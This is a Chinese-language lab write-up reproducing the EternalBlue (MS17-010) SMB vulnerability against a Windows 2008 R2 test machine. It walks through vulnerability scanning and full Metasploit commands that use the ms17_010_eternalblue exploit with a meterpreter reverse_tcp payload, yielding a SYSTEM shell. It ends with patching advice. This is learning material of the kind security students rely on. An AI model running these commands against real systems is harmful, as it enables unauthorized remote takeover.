友情提示:
初入安全,小白一个,本文重在学习与经验分享!
背景
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造"永恒之蓝"制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
1. 实验环境
本次实验通过永恒之蓝漏洞反弹shell,可直接获取Windows 2008系统的System权限。
Kali IP:192.168.0.11/24,或者安装有MSF漏洞利用框架工具的计算机
靶机 IP:192.168.0.12/24,关闭windows自带防火墙和网络防火墙,确保网络可ping通
靶机系统版本:Windows 2008 R2企业版
POC和EXP:Goby漏洞扫描工具(免费)、kali MSF漏洞探测
2. 漏洞编号
MS17_010(可在微软官方查看对应的CVE编号)
3. 漏洞影响范围
Windows 7 和Windows 2008 Server
4. 漏洞复现过程
4.1 漏洞探测
4.1.1 利用Goby漏洞检测工具,检测靶机是否存在MS17_010漏洞。
4.1.2 利用kali自带的MSF工具,检测靶机是否存在MS17_010漏洞。
(1)使用MSF搜索SMB相关的检测模块
(2)使用漏洞检测模块,进行漏洞探测
# 启用MSF
msfconsole
# 使用辅助插件中的永恒之蓝漏洞探测模块
use auxiliary/scanner/smb/smb_ms17_010
# 查看需要添加的信息
show options
# 设置靶机IP地址
set rhosts 192.168.0.12
# 设置扫描线程,如果是地址段或者地址较多,建议设置多线程。
set threads 30
# 开启扫描
run
4.2 漏洞利用
(1)使用kali自带的Metasploit(MSF)工具获取靶机反弹的shell
# 启用MSF
msfconsole
# 使用MS17_010(永恒之蓝)攻击模块(在任意位置都可以使用use切换模块)
use exploit/windows/smb/ms17_010_eternalblue
# 设置反弹shell的payload攻击载荷
set payload windows/meterpreter/reverse_tcp
# 设置攻击目标主机地址
set rhosts 192.168.0.12
# 设置接收反弹shell的地址,也就是MSF的地址
set lhost 192.168.0.11
设置接收反弹shell session的端口,端口自定义,只要不与其它端口冲突即可
set LPORT 4444
# 执行攻击命令,exploit或者run命令都行。
等命令执行完毕,获取系统权限,漏洞复现成功。exploit
(2)在meterpreter命令行下,敲"shell"命令,可以进入靶机的DOS环境。
5. 安全建议
及时更新Windows 7、Windows 2008系统安全补丁或者关闭smb服务。